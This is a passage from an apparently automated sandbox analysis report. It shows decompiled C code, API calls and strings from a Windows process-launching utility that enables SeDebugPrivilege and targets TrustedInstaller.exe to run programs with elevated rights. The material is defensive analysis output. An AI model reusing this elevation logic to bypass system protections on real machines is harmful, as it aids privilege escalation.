								 *0x40fa70 = _t18 + _t29 ^ _t33;
							}
						}
					}
				}
				return 1;
			}

0x0040a348
0x0040a34e
0x0040a352
0x0040a35f
0x0040a363
0x0040a369
0x0040a371
0x0040a374
0x0040a37c
0x0040a380
0x0040a383
0x0040a386
0x0040a388
0x0040a388
0x0040a38c
0x0040a38f
0x0040a39f
0x0040a3a1
0x0040a3a5
0x0040a3a5
0x0040a3a9
0x0040a3aa
0x0040a3b3
0x0040a3b3
0x0040a37c
0x0040a371
0x0040a3b8
0x0040a3be

APIs

FindResourceW.KERNELBASE(?,?,?), ref: 0040A348
SizeofResource.KERNEL32(?,00000000), ref: 0040A359
LoadResource.KERNEL32(?,00000000), ref: 0040A369
LockResource.KERNEL32(00000000), ref: 0040A374

Memory Dump Source

Source File: 0000000B.00000002.333687322.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.333678597.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333723511.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333753320.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.333768741.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: Resource$FindLoadLockSizeof
String ID:
API String ID: 3473537107-0
Opcode ID: 92957de205b1cf6ef3f394a564c4f395d7934c53f24f2b06f4a74fbc6cc11166
Instruction ID: cffa73b79ff672a66ed03b266e9253c2cf49bd0e4e2f0a3a12bdb4b298abf715
Opcode Fuzzy Hash: 92957de205b1cf6ef3f394a564c4f395d7934c53f24f2b06f4a74fbc6cc11166
Instruction Fuzzy Hash: 1101C032700315ABCB194FA5DD8995BBFAEFB852913088036ED09EA2A1D730C811CA88

Uniqueness

Uniqueness Score: -1.00%

Function 004022D5, Relevance: 61.7, APIs: 25, Strings: 10, Instructions: 435
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E004022D5(void* __ecx, void* __edx, void* __eflags, long _a4, long _a8) {
				WCHAR* _v8;
				signed int _v12;
				int _v16;
				int _v20;
				char* _v24;
				int _v28;
				intOrPtr _v32;
				int _v36;
				int _v40;
				char _v44;
				void* _v56;
				int _v60;
				char _v92;
				void _v122;
				int _v124;
				short _v148;
				signed int _v152;
				intOrPtr _v168;
				intOrPtr _v172;
				intOrPtr _v176;
				intOrPtr _v180;
				void _v192;
				char _v196;
				char _v228;
				void _v258;
				int _v260;
				void _v786;
				short _v788;
				void _v1314;
				short _v1316;
				void _v1842;
				short _v1844;
				void _v18234;
				short _v18236;
				char _v83772;
				void* __ebx;
				void* __edi;
				void* __esi;
				short* _t174;
				short _t175;
				signed int _t176;
				short _t177;
				short _t178;
				int _t184;
				signed int _t187;
				intOrPtr _t207;
				intOrPtr _t219;
				int* _t252;
				int* _t253;
				int* _t266;
				int* _t267;
				wchar_t* _t270;
				int _t286;
				void* _t292;
				void* _t304;
				WCHAR* _t308;
				WCHAR* _t310;
				intOrPtr* _t311;
				int _t312;
				WCHAR* _t315;
				void* _t325;
				void* _t328;

				_t304 = __edx;
				E0040B550(0x1473c, __ecx);
				_t286 = 0;
				 *_a4 = 0;
				_v12 = 0;
				_v16 = 0;
				_v20 = 0;
				memset( &_v192, 0, 0x40);
				_v60 = 0;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_v24 = 0;
				_v40 = 0;
				_v28 = 0;
				_v36 = 0;
				_v32 = 0x100;
				_v44 = 0;
				_v1316 = 0;
				memset( &_v1314, 0, 0x208);
				_v788 = 0;
				memset( &_v786, 0, 0x208);
				_t315 = _a8;
				_t328 = _t325 + 0x24;
				_v83772 = 0;
				_v196 = 0x44;
				E00404923(0x104,  &_v788, _t315);
				if(wcschr(_t315, 0x25) != 0) {
					ExpandEnvironmentStringsW(_t315,  &_v788, 0x104);
				}
				if(_t315[0x2668] != _t286 && wcschr( &_v788, 0x5c) == 0) {
					_v8 = _t286;
					_v1844 = _t286;
					memset( &_v1842, _t286, 0x208);
					_t328 = _t328 + 0xc;
					SearchPathW(_t286,  &_v788, _t286, 0x104,  &_v1844,  &_v8);
					if(_v1844 != _t286) {
						E00404923(0x104,  &_v788,  &_v1844);
					}
				}
				_t308 =  &(_t315[0x2106]);
				if( *_t308 == _t286) {
					E00404B5C( &_v1316,  &_v788);
					__eflags = _v1316 - _t286;
					_t315 = _a8;
					_pop(_t292);
					if(_v1316 == _t286) {
						goto L11;
					}
					goto L10;
				} else {
					_v20 = _t308;
					_t270 = wcschr(_t308, 0x25);
					_pop(_t292);
					if(_t270 == 0) {
						L11:
						_t174 =  &(_t315[0x220e]);
						if( *_t174 != 1) {
							_v152 = _v152 | 0x00000001;
							_v148 =  *_t174;
						}
						_t309 = ",";
						if(_t315[0x2210] != _t286 && _t315[0x2212] != _t286) {
							_v260 = _t286;
							memset( &_v258, _t286, 0x3e);
							_v124 = _t286;
							memset( &_v122, _t286, 0x3e);
							_v8 = _t286;
							E004052F3( &(_t315[0x2212]), _t292,  &_v260, 0x1f,  &_v8, ",");
							E004052F3( &(_t315[0x2212]), _t292,  &_v124, 0x1f,  &_v8, ",");
							_v152 = _v152 | 0x00000004;
							_t266 =  &_v260;
							_push(_t266);
							L0040B1F8();
							_v180 = _t266;
							_t328 = _t328 + 0x3c;
							_t267 =  &_v124;
							L0040B1F8();
							_t292 = _t267;
							_v176 = _t267;
						}
						if(_t315[0x2232] != _t286 && _t315[0x2234] != _t286) {
							_v260 = _t286;
							memset( &_v258, _t286, 0x3e);
							_v124 = _t286;
							memset( &_v122, _t286, 0x3e);
							_v8 = _t286;
							E004052F3( &(_t315[0x2234]), _t292,  &_v260, 0x1f,  &_v8, _t309);
							E004052F3( &(_t315[0x2234]), _t292,  &_v124, 0x1f,  &_v8, _t309);
							_v152 = _v152 | 0x00000002;
							_t252 =  &_v260;
							_push(_t252);
							L0040B1F8();
							_v172 = _t252;
							_t328 = _t328 + 0x3c;
							_t253 =  &_v124;
							_push(_t253);
							L0040B1F8();
							_v168 = _t253;
						}
						_t310 =  &(_t315[0x105]);
						if( *_t310 != _t286) {
							if(_t315[0x266a] == _t286 || wcschr(_t310, 0x25) == 0) {
								_push(_t310);
							} else {
								_v18236 = _t286;
								memset( &_v18234, _t286, 0x4000);
								_t328 = _t328 + 0xc;
								ExpandEnvironmentStringsW(_t310,  &_v18236, 0x2000);
								_push( &_v18236);
							}
							_push( &_v788);
							_push(L"\"%s\" %s");
							_push(0x7fff);
							_push( &_v83772);
							L0040B1EC();
							_v24 =  &_v83772;
						}
						_t175 = _t315[0x220c];
						if(_t175 != 0x20) {
							_v12 = _t175;
						}
						_t311 = _a4;
						if(_t315[0x2254] == 2) {
							E00401D1E(_t311, L"RunAsInvoker");
						}
						_t176 = _t315[0x265c];
						if(_t176 != _t286 && _t176 - 1 <= 0xc) {
							E00401D1E(_t311,  *((intOrPtr*)(0x40f2a0 + _t176 * 4)));
						}
						_t177 = _t315[0x265e];
						if(_t177 != 1) {
							__eflags = _t177 - 2;
							if(_t177 != 2) {
								goto L37;
							}
							_push(L"16BITCOLOR");
							goto L36;
						} else {
							_push(L"256COLOR");
							L36:
							E00401D1E(_t311);
							L37:
							if(_t315[0x2660] == _t286) {
								__eflags = _t315[0x2662] - _t286;
								if(_t315[0x2662] == _t286) {
									__eflags = _t315[0x2664] - _t286;
									if(_t315[0x2664] == _t286) {
										__eflags = _t315[0x2666] - _t286;
										if(_t315[0x2666] == _t286) {
											L46:
											_t178 = _t315[0x2a6e];
											_t358 = _t178 - 3;
											if(_t178 != 3) {
												__eflags = _t178 - 2;
												if(_t178 != 2) {
													__eflags =  *_t311 - _t286;
													if( *_t311 == _t286) {
														_push(_t286);
													} else {
														_push(_t311);
													}
													SetEnvironmentVariableW(L"__COMPAT_LAYER", ??);
													L63:
													_t293 = _t311;
													_t184 = E00401FE6(_t315, _t311, _t304,  &_v788, _v24, _v12, _v16, _v20,  &_v196,  &_v60); // executed
													_t312 = _t184;
													if(_t312 == _t286 && _v60 != _t286) {
														_t363 = _t315[0x266c] - _t286;
														if(_t315[0x266c] != _t286) {
															_t187 = E00401A3F(_t293, _t363,  &(_t315[0x266e]));
															_a4 = _a4 | 0xffffffff;
															_a8 = _t286;
															GetProcessAffinityMask(_v60,  &_a8,  &_a4);
															_t184 = SetProcessAffinityMask(_v60, _a4 & _t187);
														}
													}
													E004055D1(_t184,  &_v44);
													return _t312;
												}
												E00405497( &_v92);
												E00405497( &_v228);
												E0040149F(__eflags,  &_v92);
												E0040135C(E004055EC( &(_t315[0x2a70])), __eflags,  &_v228);
												E00401551( &_v228, _t304, __eflags,  &_v92);
												_t204 = _a4;
												__eflags =  *_a4;
												if(__eflags != 0) {
													E004014E9( &_v92, _t304, __eflags,  &_v92, _t204);
												}
												E00401421( &_v44, _t304,  &_v92, __eflags);
												_t207 = _v28;
												__eflags = _t207;
												_v16 = 0x40c4e8;
												if(_t207 != 0) {
													_v16 = _t207;
												}
												_v12 = _v12 | 0x00000400;
												E004054B9( &_v228);
												E004054B9( &_v92);
												_t286 = 0;
												__eflags = 0;
												L58:
												_t315 = _a8;
												_t311 = _a4;
												goto L63;
											}
											E00405497( &_v92);
											E0040135C(E004055EC( &(_t315[0x2a70])), _t358,  &_v92);
											_t359 =  *_t311 - _t286;
											if( *_t311 != _t286) {
												E004014E9( &_v92, _t304, _t359,  &_v92, _t311);
											}
											E00401421( &_v44, _t304,  &_v92, _t359);
											_t219 = _v28;
											_v16 = 0x40c4e8;
											if(_t219 != _t286) {
												_v16 = _t219;
											}
											_v12 = _v12 | 0x00000400;
											E004054B9( &_v92);
											goto L58;
										}
										_push(L"HIGHDPIAWARE");
										L45:
										E00401D1E(_t311);
										goto L46;
									}
									_push(L"DISABLEDWM");
									goto L45;
								}
								_push(L"DISABLETHEMES");
								goto L45;
							}
							_push(L"640X480");
							goto L45;
						}
					}
					ExpandEnvironmentStringsW(_t308,  &_v1316, 0x104);
					L10:
					_v20 =  &_v1316;
					goto L11;
				}
			}

0x004022d5
0x004022dd
0x004022e7
0x004022ec
0x004022f7
0x004022fa
0x004022fd
0x00402300
0x00402307
0x0040230d
0x0040230e
0x00402318
0x00402321
0x00402324
0x00402327
0x0040232a
0x0040232d
0x00402334
0x00402337
0x0040233e
0x0040234f
0x00402356
0x0040235b
0x0040235e
0x0040236d
0x00402374
0x0040237e
0x00402395
0x004023a0
0x004023a0
0x004023ac
0x004023cf
0x004023d2
0x004023d9
0x004023de
0x004023f6
0x00402403
0x00402414
0x00402419
0x00402403
0x0040241a
0x00402423
0x00402458
0x0040245d
0x00402464
0x00402467
0x00402468
0x00000000
0x00000000
0x00000000
0x00402425
0x00402428
0x0040242b
0x00402433
0x00402434
0x00402473
0x00402473
0x0040247c
0x00402481
0x00402488
0x00402488
0x00402495
0x0040249a
0x004024b7
0x004024be
0x004024cd
0x004024d1
0x004024ed
0x004024f0
0x00402506
0x0040250b
0x00402512
0x00402518
0x00402519
0x0040251e
0x00402524
0x00402527
0x0040252b
0x00402530
0x00402531
0x00402531
0x0040253d
0x0040255a
0x00402561
0x00402570
0x00402574
0x00402590
0x00402593
0x004025a9
0x004025ae
0x004025b5
0x004025bb
0x004025bc
0x004025c1
0x004025c7
0x004025ca
0x004025cd
0x004025ce
0x004025d4
0x004025d4
0x004025da
0x004025e3
0x004025eb
0x00402633
0x004025fb
0x00402608
0x0040260f
0x00402614
0x00402624
0x00402630
0x00402630
0x0040263a
0x0040263b
0x00402646
0x0040264b
0x0040264c
0x0040265a
0x0040265a
0x0040265d
0x00402666
0x00402668
0x00402668
0x00402672
0x00402675
0x0040267e
0x0040267e
0x00402683
0x0040268b
0x0040269e
0x0040269e
0x004026a3
0x004026ac
0x004026b5
0x004026b8
0x00000000
0x00000000
0x004026ba
0x00000000
0x004026ae
0x004026ae
0x004026bf
0x004026c1
0x004026c6
0x004026cc
0x004026d5
0x004026db
0x004026e4
0x004026ea
0x004026f3
0x004026f9
0x00402707
0x00402707
0x0040270d
0x00402710
0x0040276d
0x00402770
0x0040280b
0x0040280e
0x00402813
0x00402810
0x00402810
0x00402810
0x00402819
0x0040281f
0x00402836
0x00402841
0x00402846
0x0040284a
0x00402851
0x00402857
0x00402860
0x00402865
0x00402876
0x00402879
0x00402888
0x00402888
0x00402857
0x00402891
0x0040289c
0x0040289c
0x00402779
0x00402784
0x0040278d
0x004027a4
0x004027b3
0x004027b8
0x004027bb
0x004027bf
0x004027c6
0x004027c6
0x004027d1
0x004027d6
0x004027d9
0x004027db
0x004027e2
0x004027e4
0x004027e4
0x004027e7
0x004027f4
0x004027fc
0x00402801
0x00402801
0x00402803
0x00402803
0x00402806
0x00000000
0x00402806
0x00402715
0x00402729
0x0040272e
0x00402731
0x00402738
0x00402738
0x00402743
0x00402748
0x0040274d
0x00402754
0x00402756
0x00402756
0x00402759
0x00402763
0x00000000
0x00402763
0x004026fb
0x00402700
0x00402702
0x00000000
0x00402702
0x004026ec
0x00000000
0x004026ec
0x004026dd
0x00000000
0x004026dd
0x004026ce
0x00000000
0x004026ce
0x004026ac
0x00402443
0x0040246a
0x00402470
0x00000000
0x00402470

APIs

memset.MSVCRT ref: 00402300
memset.MSVCRT ref: 0040233E
memset.MSVCRT ref: 00402356

Part of subcall function 00404923: wcslen.MSVCRT ref: 0040492A
Part of subcall function 00404923: memcpy.MSVCRT ref: 00404940

wcschr.MSVCRT ref: 00402387
ExpandEnvironmentStringsW.KERNEL32(?,?,00000104), ref: 004023A0

Part of subcall function 00404B5C: wcscpy.MSVCRT ref: 00404B61
Part of subcall function 00404B5C: wcsrchr.MSVCRT ref: 00404B69

wcschr.MSVCRT ref: 004023B7
memset.MSVCRT ref: 004023D9
SearchPathW.KERNEL32(00000000,?,00000000,00000104,?,?,?,?,?,?,?,?,?,?,00000208), ref: 004023F6
wcschr.MSVCRT ref: 0040242B
ExpandEnvironmentStringsW.KERNEL32(?,?,00000104), ref: 00402443
memset.MSVCRT ref: 004024BE
memset.MSVCRT ref: 004024D1
_wtoi.MSVCRT ref: 00402519
_wtoi.MSVCRT ref: 0040252B
memset.MSVCRT ref: 00402561
memset.MSVCRT ref: 00402574
_wtoi.MSVCRT ref: 004025BC
_wtoi.MSVCRT ref: 004025CE
wcschr.MSVCRT ref: 004025F0
memset.MSVCRT ref: 0040260F
ExpandEnvironmentStringsW.KERNEL32(?,?,00002000,?,?,?,?,?,?,?,?,00000208), ref: 00402624
_snwprintf.MSVCRT ref: 0040264C
SetEnvironmentVariableW.KERNEL32(__COMPAT_LAYER,00000000), ref: 00402819
GetProcessAffinityMask.KERNEL32 ref: 00402879
SetProcessAffinityMask.KERNEL32 ref: 00402888

Strings

RunAsInvoker, xrefs: 00402677
16BITCOLOR, xrefs: 004026BA
__COMPAT_LAYER, xrefs: 00402814
HIGHDPIAWARE, xrefs: 004026FB
D, xrefs: 00402374
640X480, xrefs: 004026CE
256COLOR, xrefs: 004026AE
"%s" %s, xrefs: 0040263B
DISABLEDWM, xrefs: 004026EC
DISABLETHEMES, xrefs: 004026DD

Memory Dump Source

Source File: 0000000B.00000002.333687322.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.333678597.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333723511.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333753320.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.333768741.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: memset$Environment_wtoiwcschr$ExpandStrings$AffinityMaskProcess$PathSearchVariable_snwprintfmemcpywcscpywcslenwcsrchr
String ID: "%s" %s$16BITCOLOR$256COLOR$640X480$D$DISABLEDWM$DISABLETHEMES$HIGHDPIAWARE$RunAsInvoker$__COMPAT_LAYER
API String ID: 2452314994-435178042
Opcode ID: 067d403336562cb18e4ef95dc35e81972e5343f3ed9e099bed5cf17b41ec62b0
Instruction ID: b54a7db1e05dda42e7bfc3830e2036fe484084dd7c1f23c6c807eede0ded9d8d
Opcode Fuzzy Hash: 067d403336562cb18e4ef95dc35e81972e5343f3ed9e099bed5cf17b41ec62b0
Instruction Fuzzy Hash: 03F14F72900218AADB20EFA5CD85ADEB7B8EF04304F1045BBE619B71D1D7789A84CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00408533, Relevance: 40.5, APIs: 15, Strings: 8, Instructions: 259
COMMON

Download Yara Rule

C-Code - Quality: 89%

			E00408533(void* __ecx, void* __edx, void* __eflags, char _a8, intOrPtr _a12, char _a32, WCHAR* _a40, WCHAR* _a44, intOrPtr _a48, WCHAR* _a52, WCHAR* _a56, char _a60, int _a64, char* _a68, int _a72, char _a76, int _a80, char* _a84, int _a88, long _a92, void _a94, long _a620, void _a622, char _a1132, char _a1148, WCHAR* _a3196, WCHAR* _a3200, WCHAR* _a3204, WCHAR* _a3208, void* _a3212, char _a3216, int _a5264, int _a5268, int _a5272, int _a5276, int _a5280, char _a5288, char _a5292, int _a7340, int _a7344, int _a7348, int _a7352, int _a7356) {
				char _v0;
				WCHAR* _v4;
				void* __edi;
				void* __esi;
				void* _t76;
				void* _t82;
				wchar_t* _t85;
				void* _t86;
				void* _t87;
				intOrPtr _t92;
				wchar_t* _t93;
				intOrPtr _t95;
				int _t106;
				char* _t110;
				intOrPtr _t115;
				wchar_t* _t117;
				intOrPtr _t124;
				wchar_t* _t125;
				intOrPtr _t131;
				wchar_t* _t132;
				int _t156;
				void* _t159;
				intOrPtr _t162;
				void* _t177;
				void* _t178;
				void* _t179;
				intOrPtr _t181;
				int _t187;
				intOrPtr _t188;
				intOrPtr _t190;
				intOrPtr _t198;
				signed int _t205;
				signed int _t206;

				_t179 = __edx;
				_t158 = __ecx;
				_t206 = _t205 & 0xfffffff8;
				E0040B550(0x1ccc, __ecx);
				_t76 = E0040313D(_t158);
				if(_t76 != 0) {
					E0040AC52();
					SetErrorMode(0x8001); // executed
					_t156 = 0;
					 *0x40fa70 = 0x11223344;
					EnumResourceTypesW(GetModuleHandleW(0), E0040A3C1, 0); // executed
					_t82 = E00405497( &_a8);
					_a48 = 0x20;
					_a40 = 0;
					_a52 = 0;
					_a44 = 0;
					_a56 = 0;
					E004056B5(_t158, __eflags, _t82, _a12);
					E00408F48(_t158, __eflags, L"SeDebugPrivilege"); // executed
					 *_t206 = L"/SpecialRun";
					_t85 = E0040585C( &_v0);
					__eflags = _t85;
					if(_t85 != 0) {
						L8:
						_t86 = E0040585C( &_a8, L"/Run");
						__eflags = _t86 - _t156;
						if(_t86 < _t156) {
							_t87 = E0040585C( &_a8, L"/cfg");
							__eflags = _t87 - _t156;
							if(_t87 >= _t156) {
								_t162 =  *0x40fa74; // 0x4101c8
								_t41 = _t87 + 1; // 0x1
								ExpandEnvironmentStringsW(E0040584C( &_a8, _t41), _t162 + 0x5504, 0x104);
								_t115 =  *0x40fa74; // 0x4101c8
								_t117 = wcschr(_t115 + 0x5504, 0x5c);
								__eflags = _t117;
								if(_t117 == 0) {
									_a92 = _t156;
									memset( &_a94, _t156, 0x208);
									_a620 = _t156;
									memset( &_a622, _t156, 0x208);
									GetCurrentDirectoryW(0x104,  &_a92);
									_t124 =  *0x40fa74; // 0x4101c8
									_t125 = _t124 + 0x5504;
									_v4 = _t125;
									_t187 = wcslen(_t125);
									_t51 = wcslen( &_a92) + 1; // 0x1
									__eflags = _t187 + _t51 - 0x104;
									if(_t187 + _t51 >= 0x104) {
										_a620 = _t156;
									} else {
										E00404BE4( &_a620,  &_a92, _v4);
									}
									_t131 =  *0x40fa74; // 0x4101c8
									_t132 = _t131 + 0x5504;
									__eflags = _t132;
									wcscpy(_t132,  &_a620);
								}
							}
							E00402F31(_t156);
							_t181 =  *0x40fa74; // 0x4101c8
							_pop(_t159);
							_a84 =  &_a8;
							_a76 = 0x40cb0c;
							_a88 = _t156;
							_a80 = _t156;
							E0040177C( &_a76, _t181 + 0x10, __eflags, _t156);
							_t92 =  *0x40fa74; // 0x4101c8
							__eflags =  *((intOrPtr*)(_t92 + 0x5710)) - _t156;
							if( *((intOrPtr*)(_t92 + 0x5710)) == _t156) {
								_t93 = E0040585C( &_a8, L"/savelangfile");
								__eflags = _t93;
								if(_t93 < 0) {
									E00406420();
									__imp__CoInitialize(_t156);
									_t95 =  *0x40fa74; // 0x4101c8
									E00408910(_t95 + 0x10, _t159, 0x416f60);
									 *((intOrPtr*)( *0x4158e0 + 8))(_t156);
									_t198 =  *0x40fa74; // 0x4101c8
									E00408910(0x416f60, 0x4158e0, _t198 + 0x10);
									E00402F31(1);
									__imp__CoUninitialize();
								} else {
									E004065BE(_t159);
								}
								goto L7;
							} else {
								_t64 = _t92 + 0x10; // 0x4101d8
								_a7356 = _t156;
								_a7352 = _t156;
								_a7340 = _t156;
								_a7344 = _t156;
								_a7348 = _t156;
								_t156 = E00401D40(_t179, _t64,  &_a5292);
								_t110 =  &_a5288;
								L6:
								E004035FB(_t110);
								L7:
								E004054B9( &_v0);
								E004099D4( &_a32);
								E004054B9( &_v0);
								_t106 = _t156;
								goto L2;
							}
						}
						_t26 = _t86 + 1; // 0x1
						_t173 = _t26;
						__eflags =  *((intOrPtr*)(E0040584C( &_a8, _t26))) - _t156;
						if(__eflags == 0) {
							E00402F31(_t156);
						} else {
							E00402FC6(_t173, __eflags, _t138);
						}
						_t188 =  *0x40fa74; // 0x4101c8
						_a68 =  &_a8;
						_a60 = 0x40cb0c;
						_a72 = _t156;
						_a64 = _t156;
						E0040177C( &_a60, _t188 + 0x10, __eflags, _t156);
						_t190 =  *0x40fa74; // 0x4101c8
						_a5280 = _t156;
						_a5276 = _t156;
						_a5264 = _t156;
						_a5268 = _t156;
						_a5272 = _t156;
						_t156 = E00401D40(_t179, _t190 + 0x10,  &_a3216);
						_t110 =  &_a3212;
						goto L6;
					}
					__eflags = _a56 - 3;
					if(_a56 != 3) {
						goto L8;
					}
					__eflags = 1;
					_a3212 = 0;
					_a3208 = 0;
					_a3196 = 0;
					_a3200 = 0;
					_a3204 = 0;
					_v4 = 0;
					_v0 = 0;
					swscanf(E0040584C( &_v0, 1), L"%I64x",  &_v4);
					_t177 = 2;
					_push(E0040584C( &_v0, _t177));
					L0040B1F8();
					_pop(_t178);
					_t156 = E00401AC9(_t178, _t179, __eflags,  &_a1148, _v4, _v0, _t152);
					_t110 =  &_a1132;
					goto L6;
				} else {
					_t106 = _t76 + 1;
					L2:
					return _t106;
				}
			}

0x00408533
0x00408533
0x00408536
0x0040853e
0x00408546
0x0040854d
0x00408559
0x00408563
0x00408569
0x00408572
0x00408583
0x0040858d
0x00408595
0x0040859e
0x004085a2
0x004085a6
0x004085aa
0x004085ae
0x004085b8
0x004085c1
0x004085c8
0x004085cd
0x004085cf
0x0040867f
0x00408688
0x0040868d
0x0040868f
0x00408730
0x00408735
0x00408737
0x0040873d
0x00408750
0x0040875d
0x00408763
0x00408770
0x00408775
0x00408779
0x0040878b
0x00408790
0x004087a2
0x004087aa
0x004087b8
0x004087be
0x004087c3
0x004087c9
0x004087d2
0x004087df
0x004087e3
0x004087e6
0x00408801
0x004087e8
0x004087f8
0x004087fe
0x00408811
0x00408816
0x00408816
0x0040881c
0x00408822
0x00408779
0x00408824
0x00408829
0x00408833
0x00408834
0x00408840
0x00408848
0x0040884c
0x00408850
0x00408855
0x0040885a
0x00408860
0x004088ac
0x004088b1
0x004088b3
0x004088bf
0x004088c5
0x004088cb
0x004088da
0x004088ea
0x004088ed
0x004088f8
0x004088ff
0x00408905
0x004088b5
0x004088b5
0x004088b5
0x00000000
0x00408862
0x00408862
0x0040886d
0x00408874
0x0040887b
0x00408882
0x00408889
0x00408895
0x00408897
0x00408658
0x00408658
0x0040865d
0x00408661
0x0040866a
0x00408673
0x00408678
0x00000000
0x00408678
0x00408860
0x00408695
0x00408695
0x0040869f
0x004086a2
0x004086af
0x004086a4
0x004086a7
0x004086a7
0x004086b4
0x004086bf
0x004086cb
0x004086d3
0x004086d7
0x004086db
0x004086e0
0x004086f1
0x004086f8
0x004086ff
0x00408706
0x0040870d
0x00408719
0x0040871b
0x00000000
0x0040871b
0x004085d5
0x004085da
0x00000000
0x00000000
0x004085ec
0x004085ef
0x004085f6
0x004085fd
0x00408604
0x0040860b
0x00408612
0x00408616
0x00408620
0x0040862a
0x00408632
0x00408633
0x00408638
0x0040864f
0x00408651
0x00000000
0x0040854f
0x0040854f
0x00408550
0x00408556
0x00408556

APIs

Part of subcall function 0040313D: LoadLibraryW.KERNEL32(comctl32.dll,00000000,?,00000002,?,?,?,0040854B,00000000,?,00000002,?,0040B45E,00000000,?,0000000A), ref: 0040315C
Part of subcall function 0040313D: GetProcAddress.KERNEL32(00000000,InitCommonControlsEx), ref: 0040316E
Part of subcall function 0040313D: FreeLibrary.KERNEL32(00000000,?,00000002,?,?,?,0040854B,00000000,?,00000002,?,0040B45E,00000000,?,0000000A), ref: 00403182
Part of subcall function 0040313D: MessageBoxW.USER32(00000001,Error: Cannot load the common control classes.,Error,00000030), ref: 004031AD

SetErrorMode.KERNELBASE(00008001,00000000,?,00000002,?,0040B45E,00000000,?,0000000A), ref: 00408563
GetModuleHandleW.KERNEL32(00000000,0040A3C1,00000000,?,00000002,?,0040B45E,00000000,?,0000000A), ref: 0040857C
EnumResourceTypesW.KERNEL32 ref: 00408583
swscanf.MSVCRT ref: 00408620
_wtoi.MSVCRT ref: 00408633

Strings

XA, xrefs: 004088E5
SeDebugPrivilege, xrefs: 004085B3
/savelangfile, xrefs: 004088A3
/cfg, xrefs: 00408727
, xrefs: 00408595
/Run, xrefs: 0040867F
`oA, xrefs: 004088D0
%I64x, xrefs: 004085E7

Memory Dump Source

Source File: 0000000B.00000002.333687322.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.333678597.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333723511.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333753320.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.333768741.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: Library$AddressEnumErrorFreeHandleLoadMessageModeModuleProcResourceTypes_wtoiswscanf
String ID: $%I64x$/Run$/cfg$/savelangfile$SeDebugPrivilege$`oA$XA
API String ID: 3933224404-3784219877
Opcode ID: 1ed12eb10884b9e827e0875f5387ef1e7972f3b4abe7ba30fea96de0eb1c323a
Instruction ID: 6a1ad454fb11d14b300c4ed281ce3bcdfe782ea4983c0409628bf6e0aeb57f2c
Opcode Fuzzy Hash: 1ed12eb10884b9e827e0875f5387ef1e7972f3b4abe7ba30fea96de0eb1c323a
Instruction Fuzzy Hash: 7FA16F71508340DBD720EF65DD8599BB7E8FB88308F50493FF588A3292DB3899098F5A

Uniqueness

Uniqueness Score: -1.00%

Function 00401FE6, Relevance: 31.7, APIs: 15, Strings: 3, Instructions: 243
processCOMMON

Download Yara Rule

C-Code - Quality: 81%

			E00401FE6(void* __eax, void* __ecx, void* __edx, WCHAR* _a4, WCHAR* _a8, long _a12, void* _a16, WCHAR* _a20, struct _STARTUPINFOW* _a24, struct _PROCESS_INFORMATION* _a28) {
				int _v8;
				long _v12;
				wchar_t* _v16;
				void _v546;
				long _v548;
				void _v1074;
				char _v1076;
				void* __esi;
				long _t84;
				int _t87;
				wchar_t* _t88;
				int _t92;
				void* _t93;
				int _t94;
				int _t96;
				int _t99;
				int _t104;
				long _t105;
				int _t110;
				void** _t112;
				int _t113;
				intOrPtr _t131;
				wchar_t* _t132;
				int* _t148;
				wchar_t* _t149;
				int _t151;
				void* _t152;
				void* _t153;
				int _t154;
				void* _t155;
				long _t160;

				_t145 = __edx;
				_t152 = __ecx;
				_t131 =  *((intOrPtr*)(__eax + 0x44a8));
				_v12 = 0;
				if(_t131 != 4) {
					__eflags = _t131 - 5;
					if(_t131 != 5) {
						__eflags = _t131 - 9;
						if(__eflags != 0) {
							__eflags = _t131 - 8;
							if(_t131 != 8) {
								__eflags = _t131 - 6;
								if(_t131 != 6) {
									__eflags = _t131 - 7;
									if(_t131 != 7) {
										__eflags = CreateProcessW(_a4, _a8, 0, 0, 0, _a12, _a16, _a20, _a24, _a28);
									} else {
										_t132 = __eax + 0x46b6;
										_t148 = __eax + 0x48b6;
										__eflags =  *_t148;
										_v16 = _t132;
										_v8 = __eax + 0x4ab6;
										if( *_t148 == 0) {
											_t88 = wcschr(_t132, 0x40);
											__eflags = _t88;
											if(_t88 != 0) {
												_t148 = 0;
												__eflags = 0;
											}
										}
										_t153 = _t152 + 0x800;
										E0040289F(_t153);
										_t154 =  *(_t153 + 0xc);
										__eflags = _t154;
										if(_t154 == 0) {
											_t87 = 0;
											__eflags = 0;
										} else {
											_t87 =  *_t154(_v16, _t148, _v8, 1, _a4, _a8, _a12, _a16, _a20, _a24, _a28);
										}
										__eflags = _t87;
									}
									if(__eflags == 0) {
										_t84 = GetLastError();
										L43:
										_v12 = _t84;
									}
									goto L44;
								}
								__eflags = E00401D99(__eax + 0x44ac, __edx);
								if(__eflags == 0) {
									goto L44;
								}
								_t92 = E0040A46C(_t131, __eflags,  &_a28, _t90, _a4, _a8, _a12, _a20, _a24, _a28);
								__eflags = _t92;
								if(_t92 != 0) {
									goto L44;
								}
								_t84 = _a28;
								goto L43;
							}
							_t93 = OpenSCManagerW(0, L"ServicesActive", 0x35); // executed
							__eflags = _t93;
							if(_t93 != 0) {
								E00401306(_t93); // executed
							}
							_v8 = 0;
							_t94 = E00401F04(_t145, _t152); // executed
							__eflags = _t94;
							_v12 = _t94;
							if(__eflags == 0) {
								_t96 = E00401DF9(_t145, __eflags, _t152, L"TrustedInstaller.exe",  &_v8); // executed
								__eflags = _t96;
